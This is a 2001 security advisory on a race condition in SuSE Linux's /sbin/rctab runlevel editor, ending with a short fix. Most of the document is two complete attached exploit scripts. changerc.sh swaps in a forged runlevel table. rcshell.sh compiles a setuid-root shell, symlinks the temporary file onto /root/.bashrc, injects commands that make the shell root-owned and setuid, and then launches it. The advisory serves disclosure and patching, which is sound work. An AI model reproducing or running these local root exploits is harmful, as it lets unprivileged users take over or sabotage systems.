COMMAND

    rctab

SYSTEMS AFFECTED

    SuSE 5.x, 6.0, 6.1, 6.2, 6.3, 6.4, 7.0, all platforms

PROBLEM

    Paul Starzetz found following.   Due to a various race  conditions
    in the init  level editing script  /sbin/rctab it is  possible for
    any local user to overwrite any system's file with arbitrary data.
    This may result in denial of service attack.

    The  /sbin/rctab  script  doesn't  check  for  links  writing  the
    temporary  rctmp  file  to   /tmp/rctmpdir.$PID  dir.   Also   the
    directory created  isn't chown'ed  root.   Because the  PID of the
    rctab script  can be  guessed (or  looked up,  however), any local
    user can replace the temporary rctmp file with arbitrary  content.
    This can be exploited in one of the following manners:

    a) local  user  replaces  the  rctmp  with  his own, resulting  in
       enabling/disabling  any  valid  service  listed in /sbin/init.d
       directory.   This may  lead to  a system  running a  vulnerable
       service  after  the  runlevel  has  been switched, resulting in
       further remote root compromise.

    b) local user force the rctab script to write the content of rctmp
       file  to  any  other  system's  file  including  /etc/passwd or
       /etc/shadow.  This results in denial of service too.

    c) local  user trick  the rctab  script to  write the  contents of
       rctmp file predecessed by some arbitrary data to some sensitive
       system file.   In conjunction  with any  sort of  shell  script
       executed by  the root  user and  the 'in  here documents' it is
       possible to run any command inside the attacked shell script.

    d) ...and much more

    Attached  are  2  exploits.     rcshell.sh:  gives  you  r00tshell
    assuming that /root/.bashrc is  present, root runs crontab  -e and
    saves the changes after  changing something in the  runlevel table
    _and_ login again (Yes, in some cases the script will fail).

    changerc.sh:  replaces  system's  inittable  with an arbitrary one
    (assuming rctab -e is run too).

    [changerc.sh]

    #!/bin/bash
    #	any user can force changes to runlevels
    #	by IhaQueR

    declare -i PLOW
    declare -i PHIGH


    # CONFIG:

    PLOW=1
    PHIGH=3

    TMP="/tmp"
    FAKERC="/tmp/fakerc"
    RCTMPDIR="rctmpdir"
    RCTMP="rctmp"

    _pwd="$PWD"

    #
    echo "----------------------------------------------"
    echo "|                                            |"
    echo "|             rctab exploit                  |"
    echo "|            by IhaQueR '2001                |"
    echo "|                                            |"
    echo "----------------------------------------------"
    echo

    # crate dirs
    echo "[+] now creating directories"
    echo "    this may take a while"
    echo

    declare -i cnt
    cnt=$PLOW
    umask 700

    while [ $cnt -lt $PHIGH ]
    do
	    cnt=$(($cnt+1))
	    if [ $(($cnt % 128)) -eq 0 ] ; then
		    printf "[%6d] " $cnt
	    fi;
	    if [ $(($cnt % 1024)) -eq 0 ] ; then
		    echo
	    fi;
	    mkdir -p "$TMP/$RCTMPDIR.$cnt"
    done

    echo
    echo
    echo "    finished creating dirs"
    echo

    # wait for rctab -e
    declare -i rctabpid
    rctabpid=0
    echo "[+] waiting for root to run rctab"

    while [ 1 ]
    do
	    rctabpid=`ps aux|grep "rctab -e"|grep root|head -n1|awk '{print $2}'`
	    if test $rctabpid -gt 1 ; then
		    break
	    fi
	    sleep 1
    done

    # rcfile in
    rcfile="/tmp/rctmpdir.$rctabpid/$RCTMP"

    echo "[+] got rctab -e at pid $rctabpid"

    # test if we own the directory
    rcdir="/tmp/rctmpdir.$rctabpid"

    if test -O $rcdir ; then
	    echo "[+] ok, we own the dir"
    else
	    echo "[-] hm, we are not owner"
	    exit 2
    fi

    # wait for root to finish editing
    sleep 4
    declare -i vipid
    vipid=`ps aux|grep rctmpdir|grep root|awk '{print $2}'`

    echo "    root is editing now at $vipid, wait for $rcfile"

    pfile="/proc/$vipid"

    while test -d $pfile
    do
	    echo -n >/dev/null
    done
    rm -rf $rcfile
    cp $FAKERC $rcfile

    echo "[+] gotcha!"
    echo "    installed new rctab from $FAKERC"
    -----------------------------------------------------------------
    [rcshell.sh]

    #!/bin/bash
    #	any user can force changes to runlevels
    #	by IhaQueR

    declare -i PLOW
    declare -i PHIGH

    # CONFIG:

    PLOW=1
    PHIGH=3

    TMP="/tmp"
    FAKERC=/tmp/fakerc
    RCTMPDIR="rctmpdir"
    RCTMP="rctmp"
    WRITETO="/root/.bashrc"
    SUSH="/tmp/sush"

    # what we want to write to $WRITETO (oops...)
    declare -i idx
    idx=0
    rchead=""

    while test "$idx" -lt 128 ; do
	    rchead="$rchead "
	    idx=$(($idx+1))
    done

    rchead="$rchead chown root.root $SUSH; chmod 4777 $SUSH | cat >/dev/null
    <<_DUPA_"

    _pwd="$PWD"


    #
    echo "----------------------------------------------"
    echo "|                                            |"
    echo "|        local rctab root exploit            |"
    echo "|           you would need luck              |"
    echo "|       and an admin stupid enough           |"
    echo "|            by IhaQueR '2001                |"
    echo "|                                            |"
    echo "----------------------------------------------"
    echo

    # test sys
    awkl=$(which awk)
    if test -x $awkl ; then
	    echo "[+] awk found"
    else
	    echo "[-] awk not found, edit this script :-)"
	    exit 1
    fi

    if test -r /sbin/rctab ; then
            echo "[+] rctab found"
    else
            echo "[-] rctab not found, sorry"
            exit 1
    fi

    # make suid shell
    echo "[+] compiling suid shell"
    cat << _DUPA_ >/tmp/sush.c
    #include <stdio.h>
    main(int argc, char** argv) {setuid(0); setgid(0); execv("/bin/sh",
    argv); }
    _DUPA_

    # compile shell
    gcc /tmp/sush.c -o $SUSH


    # crate dirs
    echo "[+] now creating directories"
    echo "    this may take a while"
    echo

    declare -i cnt
    cnt=$PLOW
    umask 000

    while [ $cnt -lt $PHIGH ]
    do
	    cnt=$(($cnt+1))
	    if [ $(($cnt % 128)) -eq 0 ] ; then
		    printf "[%6d] " $cnt
	    fi;
	    if [ $(($cnt % 1024)) -eq 0 ] ; then
		    echo
	    fi;
	    mkdir -p "$TMP/$RCTMPDIR.$cnt"
    done

    echo
    echo
    echo "    finished creating dirs"
    echo

    # wait for rctab -e
    declare -i rctabpid
    rctabpid=0
    echo "[+] waiting for root to run rctab"

    while [ 1 ]
    do
	    rctabpid=`ps aux|grep "rctab -e"|grep root|head -n1|awk '{print $2}'`
	    if test $rctabpid -gt 1 ; then
		    break
	    fi
	    sleep 1
    done

    # rcfile in
    rcfile="/tmp/rctmpdir.$rctabpid/$RCTMP"

    # append our cmd
    echo >$rcfile "$rchead"

    echo "[+] got rctab -e at pid $rctabpid"

    # test if we own the directory
    rcdir="/tmp/rctmpdir.$rctabpid"

    if test -O $rcdir ; then
	    echo "[+] ok, we own the dir"
    else
	    echo "[-] hm, we are not owner"
	    exit 2
    fi

    # wait for editor
    declare -i vipid
    vipid=0
    while [ $vipid -lt 1 ]
    do
	    vipid=`ps aux|grep rctmpdir|grep root|awk '{print $2}'`
    done

    echo "    root is editing now at pid $vipid, wait for writing $rcfile"
    sleep 1

    pfile="/proc/$vipid"

    # relink
    declare -i lcnt
    lcnt=$(wc -l $rcfile|awk '{print $1-2 }')
    tail -n$lcnt $rcfile >$rcfile.new
    rm -rf $rcfile
    ln -sf $WRITETO $rcfile

    if test -r "$WRITETO" ; then
	    md=$(cat $WRITETO|md5sum)
    fi

    if test -r $WRITETO ; then
	    ac=$(ls -l --full-time $WRITETO)
    else
	    ac="none"
    fi

    # wait for root to write rctab or exit
    while test -d $pfile
    do
	    if test -r "$WRITETO" ; then
		    oc="$(ls -l --full-time $WRITETO)"
		    if test "$ac" != "$oc" ; then
			    echo "[+] $WRITETO replaced"
			    break
		    fi
	    fi
    done
    rm -rf $rcfile; ln -s $rcfile.new $rcfile

    if test "$md" = "$(cat $WRITETO|md5sum)" ; then
	    echo "[-] bashrc not changed, sorry"
	    exit 2
    else
	    echo "[+] gotcha! wait for root to login"
    fi

    # now wait for root to login :-)
    while test -O $SUSH ; do
	    sleep 1
    done

    echo "[+] suid shell at $SUSH"
    sleep 1
    $SUSH
    -----------------------------------------------------------------

    [sample fakerc]

    #
    # Generated by rctab: Fri Jan 12 21:02:40 CET 2001
    #
    #  Special scripts
    #
    #  halt   -- only for runlevel 0
    #  reboot -- only for runlevel 6
    #  single -- only for single user mode
    #
    #  Remaining services
    #
    # apache argus at autofs boot.setup cdb cipe cron dummy firewall gpm
    # halt.local inetd inn ipfwadm ircd kbd kerneld lpd masquerade named
    network
    # nfs nfsserver ntopd pcnfsd pings quota quotad random rinetd route
    routed
    # rpc rwhod scanlogd sendmail serial smb squid sshd syslog xdm xinetd
    xntpd
    # ypclient yppasswdd ypserv ypxfrd
    #
    Runlevel:1  Runlevel:2  Runlevel:3  Runlevel:4  Runlevel:5
    kerneld     kerneld     kerneld     -           -
    serial      serial      serial      -           -
    dummy       dummy       dummy       -           -
    syslog      network     network     -           -
    boot.setup  firewall    firewall    -           -
    gpm         masquerade  masquerade  -           -
    kbd         route       route       -           -
    random      cipe        cipe        -           -
    -           rpc         rpc         -           -
    -           argus       argus       -           -
    -           nfs         nfs         -           -
    -           scanlogd    scanlogd    -           -
    -           syslog      syslog      -           -
    -           boot.setup  boot.setup  -           -
    -           routed      routed      -           -
    -           named       named       -           -
    -           quota       quota       -           -
    -           nfsserver   nfsserver   -           -
    -           pcnfsd      pcnfsd      -           -
    -           quotad      quotad      -           -
    -           yppasswdd   yppasswdd   -           -
    -           ypserv      ypserv      -           -
    -           ypxfrd      ypxfrd      -           -
    -           ypclient    ypclient    -           -
    -           autofs      autofs      -           -
    -           apache      apache      -           -
    -           at          at          -           -
    -           gpm         inetd       -           -
    -           inetd       inn         -           -
    -           inn         ipfwadm     -           -
    -           ipfwadm     ircd        -           -
    -           ircd        kbd         -           -
    -           kbd         lpd         -           -
    -           lpd         ntopd       -           -
    -           ntopd       random      -           -
    -           random      rinetd      -           -
    -           rinetd      rwhod       -           -
    -           rwhod       sendmail    -           -
    -           sendmail    smb         -           -
    -           smb         squid       -           -
    -           squid       sshd        -           -
    -           sshd        xinetd      -           -
    -           xinetd      xntpd       -           -
    -           xntpd       cron        -           -
    -           cron        xdm         -           -
    -           pings       -           -           -
    -           -           -           -           -
    -           -           -           -           -
    -           -           -           -           -
    -           -           -           -           -
    -           -           -           -           -
    -           -           -           -           -

SOLUTION

    The  description  of  the  problem  is  not  acurrate.   The  race
    condition is a result of a failure to create a directory to  store
    the temporary file in.  The mkdir command used does not take  into
    account that the directory, if it exists already, might not belong
    to root or  may be writeable  for attackers. `chown  root:root' is
    clearly a wrong step since this would introduce a race in a  1777-
    directory again.

    Solution for the problem: remove the only occurrence of the string
    "-p " in the file /sbin/rctab.  Change the line

        mkdir -p ${tmpdir}

    to read

        mkdir ${tmpdir}

    Future  versions  of  the  SuSE  distributions  do not contain the
    rctab script any more.